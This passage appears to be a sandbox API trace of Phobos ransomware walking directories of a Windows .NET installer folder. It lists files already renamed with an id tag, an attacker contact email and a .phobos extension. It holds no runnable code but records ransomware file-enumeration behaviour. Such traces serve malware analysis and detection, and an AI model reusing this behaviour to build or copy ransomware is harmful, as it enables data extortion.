cFileName="LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="LOCALI~1.PHO")) returned 1 [0132.174] FindNextFileW (in: hFindFile=0x7393e8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed9ba6bd, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed9ba6bd, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed9e0971, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4a62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 1 [0132.175] FindNextFileW (in: hFindFile=0x7393e8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed9ba6bd, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed9ba6bd, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed9e0971, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4a62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 0 [0132.175] FindClose (in: hFindFile=0x7393e8 | out: hFindFile=0x7393e8) returned 1 [0132.175] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0x2b40060 | out: hHeap=0xf10000) returned 1 [0132.175] FindNextFileW (in: hFindFile=0x7390a8, lpFindFileData=0x12ffa34 | out: lpFindFileData=0x12ffa34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="Client", cAlternateFileName="")) returned 1 [0132.175] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Client\\*", lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7395a8 [0132.176] FindNextFileW (in: hFindFile=0x7395a8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0132.176] FindNextFileW (in: hFindFile=0x7395a8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7e0692, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xee7e0692, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xee806a95, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x31552, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parameterinfo.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="PARAME~1.PHO")) returned 1 [0132.176] FindNextFileW (in: hFindFile=0x7395a8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee806a95, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xee806a95, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xee95de14, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x9982, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="UIINFO~1.PHO")) returned 1 [0132.176] FindNextFileW (in: hFindFile=0x7395a8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee806a95, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xee806a95, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xee95de14, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x9982, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="UIINFO~1.PHO")) returned 0 [0132.176] FindClose (in: hFindFile=0x7395a8 | out: hFindFile=0x7395a8) returned 1 [0132.177] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0x2b40060 | out: hHeap=0xf10000) returned 1 [0132.177] FindNextFileW (in: hFindFile=0x7390a8, lpFindFileData=0x12ffa34 | out: lpFindFileData=0x12ffa34*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee82cbf1, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xee82cbf1, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xee944551, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4002, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="DHtmlHeader.html.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="DHTMLH~1.PHO")) returned 1 [0132.177] FindNextFileW (in: hFindFile=0x7390a8, lpFindFileData=0x12ffa34 | out: lpFindFileData=0x12ffa34*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed9e0971, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed9e0971, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xeda2ce12, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x15ad2, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="DisplayIcon.ico.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="DISPLA~1.PHO")) returned 1 [0132.177] FindNextFileW (in: hFindFile=0x7390a8, lpFindFileData=0x12ffa34 | out: lpFindFileData=0x12ffa34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="Extended", cAlternateFileName="")) returned 1 [0132.177] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Extended\\*", lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7393e8 [0132.178] FindNextFileW (in: hFindFile=0x7393e8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0132.178] FindNextFileW (in: hFindFile=0x7393e8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee95de14, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xee95de14, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xee9aa4d3, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x16d92, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parameterinfo.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="PARAME~1.PHO")) returned 1 [0132.178] FindNextFileW (in: hFindFile=0x7393e8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee98423e, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xee98423e, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xee9d06c8, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x9982, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="UIINFO~1.PHO")) returned 1 [0132.178] FindNextFileW (in: hFindFile=0x7393e8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee98423e, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xee98423e, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xee9d06c8, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x9982, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="UIINFO~1.PHO")) returned 0 [0132.178] FindClose (in: hFindFile=0x7393e8 | out: hFindFile=0x7393e8) returned 1 [0132.179] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0x2b40060 | out: hHeap=0xf10000) returned 1 [0132.179] FindNextFileW (in: hFindFile=0x7390a8, lpFindFileData=0x12ffa34 | out: lpFindFileData=0x12ffa34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="Graphics", cAlternateFileName="")) returned 1 [0132.179] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\*", lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7393e8 [0132.180] FindNextFileW (in: hFindFile=0x7393e8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0132.180] FindNextFileW (in: hFindFile=0x7393e8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed9e0971, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed9e0971, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xeda06bab, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x572, dwReserved0=0x0, dwReserved1=0x0, cFileName="Print.ico.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="PRINTI~1.PHO")) returned 1 [0132.180] FindNextFileW (in: hFindFile=0x7393e8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeda06bab, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xeda06bab, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xedcb57b8, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x472, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate1.ico.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="ROTATE~1.PHO")) returned 1 [0132.180] FindNextFileW (in: hFindFile=0x7393e8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeda2ce12, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xeda2ce12, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xeda79284, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x472, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate2.ico.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="ROTATE~2.PHO")) returned 1 [0132.180] FindNextFileW (in: hFindFile=0x7393e8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeda79284, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xeda79284, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xedcb57b8, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x472, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate3.ico.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="ROTATE~3.PHO")) returned 1 [0132.180] FindNextFileW (in: hFindFile=0x7393e8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedcb57b8, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xedcb57b8, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xedd4ded6, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x472, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate4.ico.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="ROTATE~4.PHO")) returned 1 [0132.180] FindNextFileW (in: hFindFile=0x7393e8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedcb57b8, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xedcb57b8, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xedd01aa0, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x472, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate5.ico.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="RO2118~1.PHO")) returned 1 [0132.180] FindNextFileW (in: hFindFile=0x7393e8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedd01aa0, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xedd01aa0, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xedd27c8d, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x472, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate6.ico.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="ROE580~1.PHO")) returned 1 [0132.180] FindNextFileW (in: hFindFile=0x7393e8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedd27c8d, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xedd27c8d, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xedd4ded6, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x472, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate7.ico.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="RO3A5C~1.PHO")) returned 1 [0132.180] FindNextFileW (in: hFindFile=0x7393e8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedd4ded6, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xedd4ded6, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xedd9a495, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x472, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate8.ico.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="RO113B~1.PHO")) returned 1 [0132.181] FindNextFileW (in: hFindFile=0x7393e8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedd9a495, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xedd9a495, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xedea5496, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x572, dwReserved0=0x0, dwReserved1=0x0, cFileName="Save.ico.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SAVEIC~1.PHO")) returned 1 [0132.181] FindNextFileW (in: hFindFile=0x7393e8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeddc07b0, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xeddc07b0, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xede0cac2, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x9062, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.ico.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPI~1.PHO")) returned 1 [0132.181] FindNextFileW (in: hFindFile=0x7393e8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xede0cac2, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xede0cac2, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xede913c2, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x2892, dwReserved0=0x0, dwReserved1=0x0, cFileName="stop.ico.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="STOPIC~1.PHO")) returned 1 [0132.181] FindNextFileW (in: hFindFile=0x7393e8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xede913c2, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xede913c2, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xedecb876, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x572, dwReserved0=0x0, dwReserved1=0x0, cFileName="SysReqMet.ico.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SYSREQ~1.PHO")) returned 1 [0132.181] FindNextFileW (in: hFindFile=0x7393e8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedea5496, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xedea5496, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xedecb876, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x582, dwReserved0=0x0, dwReserved1=0x0, cFileName="SysReqNotMet.ico.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SYSREQ~2.PHO")) returned 1 [0132.181] FindNextFileW (in: hFindFile=0x7393e8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedecb876, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xedecb876, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xedef18e2, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x2892, dwReserved0=0x0, dwReserved1=0x0, cFileName="warn.ico.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="WARNIC~1.PHO")) returned 1 [0132.181] FindNextFileW (in: hFindFile=0x7393e8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedecb876, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xedecb876, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xedef18e2, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x2892, dwReserved0=0x0, dwReserved1=0x0, cFileName="warn.ico.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="WARNIC~1.PHO")) returned 0 [0132.181] FindClose (in: hFindFile=0x7393e8 | out: hFindFile=0x7393e8) returned 1 [0132.182] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0x2b40060 | out: hHeap=0xf10000) returned 1 [0132.182] FindNextFileW (in: hFindFile=0x7390a8, lpFindFileData=0x12ffa34 | out: lpFindFileData=0x12ffa34*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9aa4d3, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xee9aa4d3, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xee9d06c8, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0xf22, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="header.bmp.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="HEADER~1.PHO")) returned 1 [0132.182] FindNextFileW (in: hFindFile=0x7390a8, lpFindFileData=0x12ffa34 | out: lpFindFileData=0x12ffa34*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66ea7e00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0x66ea7e00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0xefd2f705, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0xadd395d, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="netfx_Core.mzz.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="NETFX_~1.PHO")) returned 1 [0132.182] FindNextFileW (in: hFindFile=0x7390a8, lpFindFileData=0x12ffa34 | out: lpFindFileData=0x12ffa34*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc183da00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0xc183da00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0xeea1c954, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x290312, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="netfx_Core_x64.msi.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="NETFX_~2.PHO")) returned 1 [0132.182] FindNextFileW (in: hFindFile=0x7390a8, lpFindFileData=0x12ffa34 | out: lpFindFileData=0x12ffa34*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea1c954, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xeea1c954, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xeefec682, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x11c112, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="netfx_Core_x86.msi.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="NETFX_~3.PHO")) returned 1 [0132.182] FindNextFileW (in: hFindFile=0x7390a8, lpFindFileData=0x12ffa34 | out: lpFindFileData=0x12ffa34*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf74cd515, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf74cd515, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf31ad2c7, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x29e23d9, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="netfx_Extended.mzz.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="NETFX_~4.PHO")) returned 1 [0132.182] FindNextFileW (in: hFindFile=0x7390a8, lpFindFileData=0x12ffa34 | out: lpFindFileData=0x12ffa34*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefd2f705, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xefd2f705, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xefda85ff, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0xd5112, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="netfx_Extended_x64.msi.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="NE0C7B~1.PHO")) returned 1 [0132.182] FindNextFileW (in: hFindFile=0x7390a8, lpFindFileData=0x12ffa34 | out: lpFindFileData=0x12ffa34*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff6ba8e, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xeff6ba8e, 